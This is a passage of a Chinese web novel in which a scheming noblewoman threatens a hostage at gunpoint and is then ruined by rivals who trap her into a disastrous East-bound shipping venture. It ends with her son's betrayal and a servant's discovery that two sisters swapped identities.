伊莎贝尔只是将真实的策划案交给亚当,亚当也如实地对母亲直言,可索菲娅的本性,就是要从看似百分百的真实里找出那一丝虚假。 而正是因为这种多疑,让她与那笔足以让自己彻底稳定地位的巨额财富失之交臂。 索菲娅看着明灭的烛火,心脏仿佛被放置在火光中炙烤,丝丝缕缕的不甘与渴望在身体里叫嚣。 要再赌一次吗? 真的要按原计划去东印吗?风险小,可是赚得不够多。如果去华夏,那么今天站在台上光彩四射的人就是她! 她会代替诺曼家的那个丫头成为划时代的人物。 良久,索菲娅终于笑了,内心有了答案。 她盯着原定的策划案,将“东印”重重划去。 第二天,杰西卡被紧急叫到办公室。 索菲娅一夜没睡,但眼睛里的光芒亮得吓人,她从抽屉里拿出新的策划案交给杰西卡,扬起诡异的笑:“听着,我们要改变目的地了。” 杰西卡蹙眉,看向策划案时,耳边同时响起声音:“航线目标更改为……华夏。” “华夏?!” 杰西卡和刚推门进来的布鲁森惊讶出声。 “噢,你的赌徒心理又在作祟,怀特家族都已经召开宣讲会了,他们已经做好了一半的准备,我们凑什么热闹?不说别的,钱从哪里来?投资商从哪里来?”布鲁森气急败坏,对索菲娅这种随便推翻计划的行为感到厌恶。 索菲娅丝毫不在意他,只看向杰西卡:“你呢?你什么意见?” 杰西卡垂眸,“我一切只听你的安排。” “很好,那你就安心等着。”索菲娅满意微笑,又看向布鲁森,漫不经心道,“别着急,理查德。我们现在是什么都没有,但是……可以直接把别人的抢过来。” 布鲁森瞪大眼睛:“你在说什么?” 索菲娅抬眸:“我不想浪费口舌,总之,我决定的事情,就一定会不择手段地做到。” 布鲁森愣住,亲眼看着索菲娅从抽屉里拿出一把左轮手枪。 他忽然明白了什么…… - 哈登菲尔德,在答应伊莎贝尔合作之后,罗宾仍然没有搬离住处。除了出席那次宴会之外,他就没有其他的事情了。 实际上,怀特家族也只是想利用西西弗里斯的名义招商,毕竟一个真正去过东方的人,远比一切策划案都来得靠谱。 这一天,罗宾照常背着画架回到小破房子,刚推门进去,金属状的冰凉物体就抵在他的脑门。 定睛一看,小房子里站着十几个大汉,最里面,端坐着一位贵妇,笑吟吟地看着他。 “西西弗里斯先生,很抱歉以这种方式邀请你来布鲁森庄园做客。” 罗宾渐渐从震惊中回神,他很快明白,这又是一桩无聊的威胁。 他冷笑道:“你以为用这种方式就能威胁我?要杀就杀吧,我不在乎自己性命。事实上,人生的大多数时候我都想顺理成章地去死。” 索菲娅微笑,拍拍手,大汉将一个全身被捆绑的卷胡子男人拎了出来,他痛哭流涕,浑身发抖,一看见罗宾就嚎啕:“噢!罗宾!救救我!” “蒂洛夫?!”罗宾狠狠皱眉。 索菲娅温和笑道:“西西弗里斯先生,如果你也不在乎从小一起长大的好友,那么……” 她顿了顿,一柄火器慢悠悠抵上蒂洛夫的额头,“相信就算他死在你面前,也无法让你动摇吧?” 蒂洛夫吓得抖如筛糠,大喊救命。 罗宾脸色铁青。 索菲娅按下扳机,脸上仍然带着笑容:“没关系,死了这一个,你还有其他的亲友。” “你就不怕触犯法律吗?!你这是在杀人!” 索菲娅像是听见好笑的事情:“这里是哈登菲尔德最穷的小镇,先生。金钱与权力才是这里的法律,只是从前你面对的都是愿意讲道理的人,而我嘛……如果时间充裕,我会哄哄你,但现在不是时候。” “我已经是怀特家族的顾问了,如果你威胁我转投你,难道不怕舆论的质疑吗?他们那边也不会放过你的!” “舆论?所有人只会关心结果,只在乎谁能让他们赚到钱,这座财富中心埋下了多少尸骨,数得清吗?你以为有谁的手是干净的吗?”索菲娅轻笑,“不过,说实话,如果那位诺曼小姐先一步下手,也动用这么粗鲁的方式威胁你,我可能真的没办法。” “可是谁让她突然想当好人呢。”索菲娅状似苦恼地叹息,“所以啊,我给她上了一课,任何时候只要心慈手软,就是给对手机会。” “她对你心软,不拿捏着你的命脉,那就别怪我抓住更狠的筹码,把你撬走。”索菲娅微笑,盯着罗宾,慢条斯理道,“别动歪脑筋,别想着投诚以后耍花招,更别想着用所谓的法律制裁我,否则我要的不仅是蒂洛夫的命。” “想清楚了吗?”索菲娅不啰嗦,“要么,加入我,要么,就请欣赏脑花迸溅的美景。” 她抵着蒂洛夫的额头,在他尖锐的嚎啕里倒数:“三、二……” 就在“一”字快要落地的那一刻,罗宾怒吼:“等等!” 索菲娅微笑,满意地收回火器。 - 西西弗里斯转投布鲁森家族的消息再度席卷各大报纸头条。紧接着,布鲁森家族效仿怀特家族,也召开了宣讲会。 众人被陡然转变的形势搞昏了头。 总之,抱着试探的心态,他们参加了这次宣讲会。 毫无疑问,布鲁森家族彻头彻尾复刻了怀特家族所有的流程。 说实话,关于航运的筹备流程并不像机械专利那样值得保密,因为这其中并不存在太高的技术含量, 换句话说,只要谁有怀特家族那样的资源,谁都能做成这件事。 而现在,布鲁森家族的所作所为恰好映证了这一点。 谁也不知道索菲娅是怎么说服西西弗里斯背叛怀特家族的,总之,她就是成功了。 只要占据这个优势,其他的资源自然而然就流到了布鲁森这边。 贵族身份上,以亚当的名义注资的布伦瑞克船运和斯宾塞家没什么分别。 金钱上,在召开宣讲会前,索菲娅写了两封信,一封寄往墨伦维克,一封寄给格兰芬主教。 是的,布鲁森家目前的现金储备比不上怀特家族,可是她擅长游说,更擅长利用自己的优势给其他人画饼。 索菲娅先是利用西西弗里斯,逼他提供远东航贸的具体信息,制定初步计划。然后用这份策划案,空手套白狼,撬动了菲利普的投资和格兰芬的教会资金。 一旦本金足够,所有欠缺的设备人力等等都能补全。补全了这些东西,中小投资商的钱包自然跟着开放。 最重要的是,索菲娅还在公告了另一件大新闻——西西弗里斯的那位华夏商人朋友,即将抵达锡兰! 这无疑是重磅炸弹,直接炸响在所有人的耳朵边。 索菲娅在晚会上宣布,布鲁森家族即将直接和这位华夏商人对接,先开启一次试运营合作,逐步完善细节。 是的,这同样是模拟怀特家族的流程,可索菲娅却是实打实地和真正的华夏人做生意。 这个消息一经登出,投资者几乎举着钞票送上门,想事先抢占首批通商的名额。 布鲁森庄园宾客络绎不绝,反观温斯顿庄园,彻底陷入另一种绝境- 从西西弗里斯被撬走那天开始,查尔斯就发现温斯顿庄园的气氛开始奇怪。 办公室里爆发了好几场争吵,查尔斯不时能听见他们互相指责的字眼。 “如果不是你们一直拖延,还办什么声势浩大的宣讲会,会被布鲁森家钻空子吗?!”卡洛琳情绪激动,“现在好了,什么都没了!前期投入的成本都没了!你们想怎么赔!” “不办宣讲会,钱和货源都不要了?你以为远洋航贸是一个家族能撑起来的买卖?愚蠢。”伊莎贝尔冷笑。 “你聪明,你聪明过头,怎么不知道会有个华夏商人突然出现。原本没有了西西弗里斯,我们还能凭着前期准备留住人,现在呢?索菲娅拥有王牌,我们输定了。”赫尔曼面无表情。 …… 争吵愈演愈烈,查尔斯叹息着走远。 没过多久,办公室安静下来。 卡洛琳探头看了看,脸上哪里还有刚才的愤怒:“查尔斯走了,不用演了。” 她漫不经心吃着水果,抱怨道:“要我说,老查尔斯很可靠,不需要瞒着他。” 伊莎贝尔摇头,淡淡道:“查尔斯可靠,我们却难以掌握他身边的人是否一样。” 赫尔曼难得赞同:“嗯,既然决定演破产,最好演的更像一点。” 伊莎贝尔忽然抬眸看向赫尔曼,审视片刻:“我也有这个意思。” 赫尔曼挑眉。 伊莎贝尔搅动着咖啡杯,面容平静。 这段时间里,她的脑子像高速运转的机器,每时每刻都在不停地分析信息,做出最合适的决策。 这张针对索菲娅的网铺到现在,是时候结束了。 “赫尔曼,下周,你带着贝拉还有库珀夫人去埃尔美。” 赫尔曼沉默片刻,他莫名想到从前发现的那些蛛丝马迹。 提到某位女仆时,姐妹俩的异样;往前追溯,按照斯宾塞家的矛盾,海因里希被安排娶的不应该是手腕这么厉害的诺曼小姐。而自己的妻子恰恰天真烂漫…… 短短瞬间,他想了很多,抬头时却像是什么也没察觉,平静问:“为什么?” “我不想她在不知道全部内情的状态下,陷入无谓的担忧。请你带她去散散心。”伊莎贝尔的回答滴水不漏。 赫尔曼觉得那双冰蓝色的眼睛已经看透了他的心思,只是没有点破,或者……是她确信自己的姐妹不会受到伤害。 “你和公爵留在这里?”卡洛琳疑惑问。 伊莎贝尔垂眸:“海因也要回查尔维斯,我一个人留在这里。” 赫尔曼无意识地摩挲手指,他忽然问:“如果有超出你预料的意外,你一个人能应付吗?” 伊莎贝尔轻笑:“如果是我也没法应付的难题,你们在与不在,影响不了局面。” “哼,难道这么多人的脑子比不过你一个人的脑子?”卡洛琳吐槽,“这里又不是有定时炸弹,你这么着急把大家都支走干什么?” 伊莎贝尔笑了笑,没说话。 赫尔曼却听懂她的意思。 索菲娅是个危险至极的人物,一旦战争进入白热化,谁也不敢赌她会使用什么手段,尤其是……如果某个定时炸弹真的存在。 “我会带她离开。”赫尔曼忽然说,“既然是去散心,那就带着其他家人一起,我会寄信去洛森郡。” 伊莎贝尔挑眉:“记得带点金盏菊的种子,埃尔美没有那么漂亮的花。” - 愁云惨淡的庄园里,得知要出远门,奥黛丽兴奋不已,可是听说姐姐不去,她又沮丧起来。 “为什么?你为什么不去?”奥黛丽跟在伊莎贝尔身后追问,从书房追到客厅,从客厅追到花园,吵得伊莎贝尔一个头两个大。 “噢,亲爱的,你是不是忘了,我严重晕船。”伊莎贝尔用书盖住头。 奥黛丽想起十项全能的姐姐唯一的弱点,接受了这个说法,但仍然质疑道:“这么关键的时候,我和赫尔曼突然离开不是显得很奇怪吗?” 伊莎贝尔意识到奥黛丽不好糊弄,想了想,决定透露一点儿内幕:“是的,所以其实你是去执行秘密任务,这是我们成功的关键。” 果然,一听到这话,奥黛丽立刻精神起来:“果然,我就知道有你在,我们怎么会像报纸上说的那样濒临破产呢?” 她对姐姐向来是充满不讲道理的信心! “快说说,需要我做什么?请指示!” 伊莎贝尔拍拍奥黛丽的头,笑了起来- 当然,伊莎贝尔并没有骗人,奥黛丽和赫尔曼的确身负重任。 去往埃尔美的巨轮启程那天,再次从侧面佐证怀特家族破产的事实。报纸头条写着——公爵夫妇与怀特夫妇因为航路告吹,关系破裂,怀特夫妇拿回全部资产退回埃尔美,只剩公爵夫人硬撑。 公爵先生也在同一天启程返回汉克郡,像是也因为妻子的错误决策,关系出现裂痕。 总之,斯宾塞家和怀特家的一切在外人看来都在往坏的方向发展。 实际上,海因里希踏上回程马车前,还在拉着妻子的手不放。 “你跟我一起走吧。” 伊莎贝尔把自己手抽出来,重复解释第两百遍:“海因,我说了,卡洛琳和诺曼实业公司都还在呢,即便航路没了,其他的产业也需要发展,否则查尔维斯靠什么维持?” “这样的时候,我回到查尔维斯,不仅我完了,斯宾塞家也将彻底被索菲娅按住。” “而且,你得帮我把承知社的发明成果带到南方。”她顿了顿,冰蓝色的眼睛带着深意,“别忘了你的使命,公爵先生。” 想起彻夜的密谈,海因里希神色郑重起来。 再怎么舍不得,他们都分得清轻重缓急。 不再啰嗦,海因里希踏上马车,他随手摘下路边的野花,递给伊莎贝尔,“我把护卫都留给你,办完事后,我会以最快的速度回来接你,等着我。” 伊莎贝尔挥挥手,看着马车走远。 艾米丽看着空荡荡的温斯顿庄园,有些伤感。 她不太明白自家小姐的意图,但她和奥黛丽小姐一样,知道伊莎贝尔无论做什么,都有道理。 可是先知者总是承担更多的压力,就像此刻,艾米丽看着那双平静的冰蓝色眼睛,忍不住为她感到疲惫。 “不用偷偷叹气,艾米丽。”伊莎贝尔笑道,“离别是为了更好的重逢,更何况,这算什么离别呢?大家只是各有各的任务。” 艾米丽无奈:“我只是有些心疼您,如果让我承担您的思考量,大脑会崩溃。可是您却好像永远不会疲惫,也不会失落。” 伊莎贝尔绕着花圃散步,忽然笑:“会累的,是人都会累。所以需要休息。” 艾米丽不解,伊莎贝尔也没有过多解释。 她抬头看了看天色,早春的太阳不算太炽烈,晒得人暖洋洋。 “等到这一切结束,我会好好睡上一觉的。”伊莎贝尔微笑。 艾米丽想起在诺曼庄园的时候,伊莎贝尔小姐最喜欢做的事情就是睡觉,有时候一睡就是一整天,像是要把上辈子的觉都补回来。 自从前往查尔维斯开始,她应该再也没有那么放松地休息过了。 - 怀特家族渐渐消失在众人的视野,所有人都知道只剩公爵夫人维持着诺曼实业公司谋生。 而布鲁森与索菲娅则成为报纸头条的新宠。 那位华夏商人,在众人瞩目之下,出现在了肯特郡,并被布鲁森庄园以最高规格礼遇接待。 说实话,在见到那位华夏商人之前,索菲娅对目前太过顺利的一切仍然保持怀疑的态度。 她有点不相信,那位诺曼小姐就这么被打败了? 可是根据丽萨太太圈的线报,斯宾塞家族和怀特家族的分崩离析有迹可循,听说那段时间庄园里爆发了无数争吵。 最重要的是,怀特夫妇真的登上了前往埃尔美的游轮。一个重要的合作者都甩手走人,航路还怎么进行下去? 种种猜疑都被推翻,可是心底那股异样却挥之不去。直到看见这位华夏商人,索菲娅的情绪渐渐安定。 ——他的面容充满东方风情,口音迥异,穿着丝绸长袍,头发用玉冠束在头顶。 谁也没见过华夏人,可他们莫名觉得,这一定是真正的华夏人无疑。 根据西西弗里斯的翻译,众人得知他的名字叫“ PAN AN” ,潘安很健谈,滔滔不绝解释自己名字的由来,据说和历史上一位出名的美男子同名。 当然,如果伊莎贝尔在场,就知道他这个名字和长相有多么货不对版。 对锡兰人而言,潘安的名字读起来有些拗口,索性叫他安先生。 索菲娅就开展试运营贸易和安先生讨论起来。 她仍然谨慎,不愿意一开始就投入大笔资金,并且她要效仿赫尔曼的方法,双方共同抵押资金,保证交易安全。 潘安有些不乐意,交涉很久才答应下来。 签下第一份合同时,索菲娅仍然有种不踏实的感觉。 可是很快,在春天即将结束时,潘安带回了好消息。 布鲁森和投资商,甚至是格兰芬以及远在首都的菲利普,都写信表示祝贺。 这仅仅只是一次短途的试运营,利润已经很可观,而且潘安诚实守信,还表示看不上这点小打小闹。 索菲娅知道,重头戏现在才开始。 试运营带来的成功,让所有人信心倍增。现在不是没有人出钱,而是所有人都争着给钱。 教会、以菲利普为代表的王室、政界贵族、中小投资商等等都在拼命地投钱,当然还包括索菲娅本人的。资金池拓宽到了史无前例的地步,这也意味着,一旦航线运行成功,索菲娅的利益将牢牢和所有人捆绑。 她是玩弄利益同盟的高手,越是复杂的关系,越能让她借力提高自己的地位。 可是同样,一旦失败,她将成为所有人的敌人,会彻底摔下高台,踩进泥里。 入夏时节,启航时间逐渐逼近。 索菲娅手握巨额财富,和潘安签订正式的合约。 落笔之前,她忽然看向身边的杰西卡。 “你不会让我失望吧?杰西卡小姐。”索菲娅盯着杰西卡,笑道,“从启航那天起,就请记住,你运输队的成员都在我手中,如果你带着所有东西平安回来,那么她们也会平安。” 杰西卡愣住,“她们不和我登船吗?” “我会为你配备更成熟的船员。”索菲娅头也不抬。 杰西卡忍怒:“你不信任我是吗?那资金呢?我要怎么支配?” 索菲娅微笑:“我会在安先生以足额黄金支付完押金后,再给你签下提款单。” 杰西卡无意识攥紧手指,心中沉了下去。 她原本想倒戈索菲娅,现在看来,卡洛琳说得没错。索菲娅不是什么好人。 “好。”她终究什么也没说,点头走了出去。 - 盛大的启航仪式在一个大晴天举办。 整个肯特郡乃至锡兰公国,都在报道这则盛会。 “布伦瑞克海运公司”的旗帜在轮船上飘扬,索菲娅面带笑容,和儿子亚当一起接收众人的祝福。 熙熙攘攘的人群里,索菲娅看见曾经对手——伊莎贝尔神色憔悴,面带失落地看着她。 一股无法抑制的兴奋自心底涌现。 索菲娅微笑对她挥了挥手。 伊莎贝尔似乎不想看见对手的得意,转身离去。 索菲娅最后那点疑虑彻底消散了。 还有什么比看见昔日对手的落魄,更加令人快活的事情呢? 是的,她永远是赢家,永远是赢到最后的赌徒。 热烈的欢呼声里,索菲娅高高举起香槟,目送着巨轮驶出港口,朝东方而去。 - 潘安的押金在下午抵达,因为是黄金,索菲娅找人检验过后就准备存入银行保管。 按照合约,原本应该在押金清算后再启航,可是时间不等人,远洋航运靠天吃饭,按照教会占卜的吉日,如果今天中午不出发,就要等到下个月。 锡兰的天气说变就变,万一遇到雨季,那可就全耽误了。 按照怀特的方法,交易双方由第三方保险协会做见证,由银行开立保证金账户,理论说来说,也不存在风险。 这段时间以来,索菲娅殚精竭虑,几乎把所有的情形都考虑了一遍,比如货轮出事遇到海盗,或是进入华夏时出现意外等等。 索菲娅首先试探了杰西卡的能力,用女子运输队的人牵制她,保证对方的忠诚。同时,又用蒂洛夫牵制西西弗里斯,能一直将他拴在身边。而潘安这个突然出现的华夏商人,索菲娅也是经过试运营的成功,才真正相信他。 而潘安支付的押金,相当他先买下了一半货物,是华夏方的买办。如果不出意外,当货轮抵达华夏,会通过潘安进行一轮售卖,再购入华夏的物资,沿路经过东印等地一路补给,一路买卖,回到锡兰时,再把丝绸瓷器等物品卖出高价。 如果出现不可控的意外,潘安这笔押金就是赔偿款,按所有投资人的比例分配。说实话,对于华夏方买办来说,如果为了骗这船货,不惜付出这么多押金,是不划算的买卖。毕竟货轮一来一回赚取的利差才是真正的大头。而且如果航路稳定,每年都有贸易往来,为了那点货物就更不值得。 这也是索菲娅和所有人对于这桩交易的信心来源。 船已经启航,索菲娅以为自己终于能睡个好觉,可是却半夜梦中惊醒。 布鲁森慌张的脚步声在门外响起,随后是剧烈的敲门声。 “索菲娅!快出来!不好了!布伦瑞克号出事了!” 索菲娅几乎是飞一般地起身下床:“你说什么?!” 布鲁森颤抖着嗓子:“刚刚收到赫斯兰港口来信,布伦瑞克号没有按时抵达补给港……算上送信的时间,大概晚了十天!” 索菲娅呼吸急促,很快稳定下来:“只是十天而已,慌什么?也许海面天气原因。也许他们已经到了,但是信件还没有送到。” 布鲁森没有说话,可是彼此都知道,这个危险的信号恐怕不是那么简单。 现在是最好的出发时节,海面风平浪静,正常船只不会擅自偏离规划的路线,谁也不敢猜测究竟发生了什么。 “听着,这个消息绝不能走漏。”索菲娅面无表情。 “是。”- 一连两个星期,度过了送信的周期,布伦瑞克号仍然没有消息,赫斯兰之后的几个港口,也没有它的踪迹。 消息渐渐瞒不住了,先是小投资商们前来询问情况,索菲娅一律不见。可是格兰芬和菲利普的到来,却让一切无法掩饰。 “什么?!你是说船失踪了?!”格兰芬面色阴沉,“教会投入了百分之二十的股份,你明白是什么概念吗?我们把盖教堂的预算都拿出来了!” 菲利普还保持着对丈母娘的尊重,“现在还有解决的办法吗?你不是说那个华夏人留了一笔押金?快!先瞒着其他人,我们把这笔钱支出来!” 那笔黄金留存在保证金账户里,几个人连夜把银行负责人叫起来,可是马车刚落地,就看见大大小小的投资商守在银行门口。 为首的比奇先生愤怒吼道:“他们果然想提前支取保证金!快说!是不是货轮出事了!” “还钱!” “还钱!” 所有人跟着大吼,他们其中的大部分人赌上全部身家才挤上那艘船,现在要变成穷光蛋,谁还怕什么贵族和教会! 菲利普和格兰芬被汹涌的人群推倒,一边怒骂一边还挨了两下。 索菲娅脸色煞白,死死攥紧掌心才保持住清醒。 众目睽睽之下,他们不可能再私吞那笔押金。如果真的按比例分成,那只是杯水车薪,不说别人,就说索菲娅自己,就已经血本无归! 人群里乱成一片,有人激动大喊,有人嚎啕痛哭。 第二天,一则爆炸性新闻登上头版头条,彻底成为压垮所有人的稻草。 ——那位华夏商人潘安,是个出名的骗子,他黑发黑眸,有东方血统,流窜多地以行骗为生。 经银行保管贵金属的负责人确认,那箱黄金是镀金,不具备合同上所说的价值。 而那位西西弗里斯先生,早就带着蒂洛夫先生登上了船,一起消失在茫茫海上。 杰西卡不确定是不是骗子中的一员,她的女子运输队还在,可是显然她们并不知情。 也就是说,索菲娅中了骗子的圈套,连同所有人一起,赔上了巨额钱财。 这一刻,众人的怒火都扑向了索菲娅。 布鲁森庄园的门被人砸烂,里面的家具被讨债的人搬空。 菲利普回到墨伦维克,愤怒地指责妻子,要和她离婚。索菲娅从前帮他赚了许多钱,所以这一次,他以为也是一样,于是将家底都掏空了!现在倒好,堂堂公爵连基本的体面都难以维持! - 索菲娅病倒了,这么多年以来,她第一次感到深深的无力。 出事的一瞬间,她的脑子里飞速过滤从头到尾的信息,查探自己有没有漏算的部分。 从招聘杰西卡、听到亚当的提议开始,直到怀特家族失败,西西弗里斯倒戈,潘安出现…… 索菲娅不是粗心的人,她精于算计,已经把这桩交易控制在最安全的范畴。 可还是出事了…… 情绪汹涌之下,她吐出一口血。 丽萨敲门,小心翼翼喊:“母亲,有客人来了。” “谁?”索菲娅面容死寂,这个时候,除了讨债的还有谁会来? 下一刻,熟悉的金发身影出现在门外。 伊莎贝尔颔首,缓缓道:“是我。” —— 作者有话说:一口气写完!爽!粗糙的部分原谅一下我哈 第86章 索菲娅目光顿住,冷笑:“你也想来嘲笑我?” 伊莎贝尔摇头,神态平静地走入室内,“我没有那么无聊。” 索菲娅眸光闪烁,电光火石间,她忽然想到什么。 “这一切都是你安排的?” 伊莎贝尔:“还不算迟钝。” “怎么可能?”索菲娅低声笑了起来, “我查过了,你们对华夏的投入都是真的,你现在告诉我,投入那么多的成本只为做戏骗我?” “索菲娅,你还没明白吗?”伊莎贝尔抬眸,盯着她的眼睛, “能骗过你的演技,就是干脆不去演,保持从头到尾的真实。” 索菲娅愣住,神情渐渐凝滞,她一字一顿:“赫尔曼没有回埃尔美,他的那艘船,是去华夏的……” 伊莎贝尔微笑。 索菲娅攥紧手指,荒谬感席卷心头。 她当然不傻,只需要轻轻点播,就什么都明白了。 是的, 伊莎贝尔从头到尾都没有骗她。 公爵府和怀特家族的确要开拓新航路,包括宣讲会所说的一切都是真的。 谁也无法否认华夏航线将是划时代的里程碑,而正是因为这份真实,让索菲娅找不出任何破绽。 “从亚当把那份策划案交给你的时候开始,选择权都在你的手上。”伊莎贝尔说,“如果你保持警惕,坚持一开始的想法,只走东印赚小钱,那么我毫无办法。只能在以后寻找击败你的时机。” “可是……”伊莎贝尔顿了顿,“你偏偏是个狂热的赌徒。” 索菲娅垂下眸,紧闭双眼。 “赌徒最可怕的不是输钱,而是赢钱。”伊莎贝尔说,“杰西卡通过考验,一趟短途就帮你赚了半数赎罪金。西西弗里斯屈从你的威胁,帮你引荐潘安,你不是没有怀疑过他们,可是潘安转头又在试运行里给你赚了足够多的利润。你的警惕心,早就被利益蒙蔽。当你得到的越多,就越无法承受失败。你不仅不再怀疑自己,还会更加确信自己的决策无比英明。” 索菲娅沉默片刻,忽然轻笑。 是的,这个过程里,她并不是没有怀疑过,这一切顺利得有些蹊跷,哪怕出现一点儿麻烦,也解决得非常快,像是为了营造真实感而创造出的环境。 像诺曼小姐这样的性格,真的会试图借亚当的手告知她华夏航线,并且只是想混淆她的视线防止竞争吗? 西西弗里斯明明已经投靠怀特家族,他们就那么粗心大意,这么重要的顾问都保护不好,由得她武力威胁?那位蒂洛夫先生被千里迢迢请来,强留在肯特郡那么久,等着送给她当人质吗? 甚至是杰西卡和那个华夏商人,出现的时机都太巧合了,还有所谓来自温斯顿庄园可靠的消息,据说是赫尔曼的助手查尔斯先生睡前透露给他的妻子,而他的妻子忧心忡忡告诉闺蜜,这才传出来的…… 这些手段并不算高明,其实某种程度上说,根本算不上什么手段。 就和日常生活中发生的小事一样,你想怎么解读都可以。出事前,你认为一切正常,什么都能找出解释的原因。出事后,才揪出一串一串细节,推敲出异样。 就像一只小鱼游到陌生的领域,警惕地查探环境,周围都是海水,和从前没有不同。可直到渔网从四面八方收紧,它才意识到,危险从踏进这片领域时,就已经到来。 “那个东方骗子是你安排的,可是押金又是怎么回事?入库前我明明已经查看过了。” 当时危机来得太快,索菲娅没时间想清楚全部细节,现在才意识到这里不对劲。 她不是一条任人宰割的鱼,如果那笔押金是假的,她绝对会在最后时刻脱身,哪怕鱼死网破。 “我说了,我从头到尾都没有骗人。至于内情,会有更合适的人为你解答。” 伊莎贝尔看向门外。 那里,亚当推着轮椅,缓缓走近:“母亲。” 索菲娅皱眉,刚想开口却忽然察觉到什么,面色难看起来,带着不可置信:“亚当……是你?是你私自调取了押金?!” 布伦瑞克船运公司是在亚当的名下,除了索菲娅之外,还能动用权限的只有亚当! 亚当静静看着自己的母亲,坦然承认:“是我。” “我明白了,从那天递给我策划案开始,你就在帮奥黛丽做事!”索菲娅声音颤抖,眼底流露着阴毒,“是了,你是我儿子,你当然知道用什么方法才能让我相信,是你帮着一个外人对付我!” 亚当没有否认。 他和伊莎贝尔一样,都明白能骗到索菲娅的办法就是不骗她。 那天他一句假话都没说,可语言都有偏向性,他明白,即便索菲娅不信任自己,那颗欲望的种子却已经在她心里种下,这个圈套早晚就要跳。 “亚当,把押金拿出来,一切还有挽回的余地。”索菲娅忽然深吸一口气,极力克制住情绪,“别忘了,我们才是一家人,我是你的母亲。” “我给了你生命,给了你头衔,你现在拥有的全部都是我给的。”索菲娅轻声诱哄,“亚当,好孩子,你把押金还给我,我会安抚好格兰芬和菲利普,这也是为了你和丽萨的将来考虑,你总不想你的孩子出生就面临破产的家庭吧?” “你没有解决这些麻烦的经验,交给我,亚当。”索菲娅扯开一丝笑,却因为情绪的突变,显得面容扭曲,“只要你还给我,我什么都不会怪你,你还是尊贵的伯爵,是我的好儿子。” 亚当忽然笑了,垂落的黑发遮挡眼眸。 “抱歉,母亲。”他说,“这是我最后一次称呼你为母亲。” “你为摆脱情妇身份,利用我的残疾,争夺父亲的宠爱,我不怪你。袭爵之后,你怕我架空你的权力,让医生断绝我站起来的希望,我也不怪你。”亚当声音平静,“前二十年,该还你的,我都还清了。从今天起,我不再是你的儿子。” 索菲娅死死盯着亚当,似乎没有想到会从他嘴里说出这番话。 亚当不闪不避:“华夏商人是真的,是我登报谎称他是骗子,为了引发舆论向你施压。至于后续该怎么应对,现在不归你管了。别忘了,布伦瑞克航运公司,是以我的名义办的。” “你为什么这么做?你想怎么应对?!”索菲娅冷笑,“你知不知道你要面临什么?所有人都会向你讨债!” “是的,可如果布伦瑞克号只是因为海上天气耽误几天,很快就传回消息呢?”亚当平静道。 索菲娅愣住:“你说什么?” 亚当看向伊莎贝尔,二人什么都没有再说,径直出门。 房门被关上,里面传来索菲娅不甘的嘶吼与质问,她喊叫着要见格兰芬主教,威胁亚当、咒骂所有人…… 伊莎贝尔充耳不闻,走出布鲁森庄园。 而亚当则被丽萨推着轮椅离开,老布鲁森吩咐女仆去叫医生,冷哼道:“记得要治疗精神疾病的。” 是的,索菲娅将在这一天被确诊为疯子。无论外界如何变化,她说的话都没有任何作用。 - 回到温斯顿庄园,卡洛琳看见伊莎贝尔,立刻跑上前:“杰西卡……呃就是那个女子运输队的队长,她回来了,你要见她吗?” 伊莎贝尔轻轻挑眉。 最初让卡洛琳安插一个眼线在索菲娅身边,其实并不指望在计划里起到多么关键的作用。 只是想着如果索菲娅这次不上当,那就留一个钉子,等待下次的时机。 在确定索菲娅进入圈套后,伊莎贝尔就和亚当达成了协定。 斯宾塞家族从前被侵吞的财产,她要一分不留全部拿回来。不仅如此,她要把布伦瑞克航运纳入自己的旗下。 相当于,索菲娅苦心筹谋的航线仍然正常运转,只是果子被伊莎贝尔和亚当联手摘掉了。 亚当代替索菲娅成为布伦瑞克的代言人,伊莎贝尔拿回了斯宾塞家的钱,并且收了一个小弟。 至于杰西卡,她按照计划在最近的港口下了船,没有出卖卡洛琳,就算是发挥了作用。 “你如果不想见她,我帮你回绝。”卡洛琳耸耸肩,“我只是看她神情着急,可能有要紧的事。” 伊莎贝尔顿了顿,忽然道:“请她来庄园吧。” 卡洛琳:“好。”- 下船后,杰西卡用头巾将自己包裹严实,她不敢去码头,也不敢去住处。 现在是非常时期,无论是索菲娅还是其他的讨债人,都迫切地想要探听布伦瑞克号的消息。可以想象,如果一个本该在船上的人,突然出现在这里,会引发怎样的轩然大波。 她记挂着索菲娅的威胁,怕女子运输队的人会被牵连,所以希望卡洛琳帮她引荐背后的雇主。 戴着宽大的帽子遮住半张脸,杰西卡尽量使自己镇定。 温斯顿庄园客厅,穿着华丽裙子的金发女郎背对着门外,正在看书。 卡洛琳领着杰西卡走进门,示意道:“那就是公爵夫人。” 杰西卡深吸一口气,看着熟悉的金发背影道:“诺曼小姐。” 她没有称呼公爵夫人,这让卡洛琳有些意外,可背对着这边的金发女郎却似乎并没有惊讶。 杰西卡看着那道沉默的背影,手指微微攥紧,屈辱再一次从心头蔓延。 如果不是因为关心伙伴的安危,她绝不想和诺曼家的人有联系。 杰西卡并不完全了解她们的计划,和其他人一样,她只知道怀特夫妇去往埃尔美,这里只剩公爵夫人,也就是那位——奥黛丽小姐。 正是因为是奥黛丽,所以杰西卡才萌生向她求助的心思。 权力果然使人面目可憎,如果是从前的奥黛丽小姐,绝不会这么傲慢无礼。可现在,她和她那个令人讨厌的姐姐没什么两样,都把底层人看作随意践踏的蝼蚁! 这么想着,冷淡的嗓音忽然响起:“卡洛琳,辛苦了,你先去休息吧。我和杰西卡小姐聊聊。” 这道熟悉的声音让杰西卡愣住,连卡洛琳离开的动静也没有唤醒她。 直到金发女郎缓缓回头,那双冰蓝色的眼睛出现在视线里,杰西卡才睁大眼睛,几乎是从牙关里挤出的字节:“伊莎贝尔小姐?怎么是你?” 她忽然想起卡洛琳的称呼。 “你是公爵夫人?!”杰西卡连声质问,“你怎么会是公爵夫人?我们离开前,明明亲耳听见贾维斯爵士的赐婚,你不是应该……” 她想到什么,声音戛然而止。 伊莎贝尔平静地看着她。 迎着这道注视,杰西卡仿佛又回到被驱逐的那一天! 那双冰蓝色的眼睛也是这么冷漠又傲慢地看着她们,将一群蝼蚁无情地驱逐! 贵族就了不起吗?有钱就了不起吗? 她们是平民,可那又怎么样?平民就不配有尊严吗? ! 那天她恨恨发誓,诅咒伊莎贝尔·诺曼一定会有报应!如果有机会,她一定会报复回去,用同样的方式把这个女人踩在脚下羞辱! 现在,这个机会真的来了…… “我知道了。”杰西卡突然笑了,面容诡异,“你们姐妹的身份互换了。”—— 作者有话说:零点后有一章 第87章 章节锁定 第88章 十天前, 圣匹斯堡。 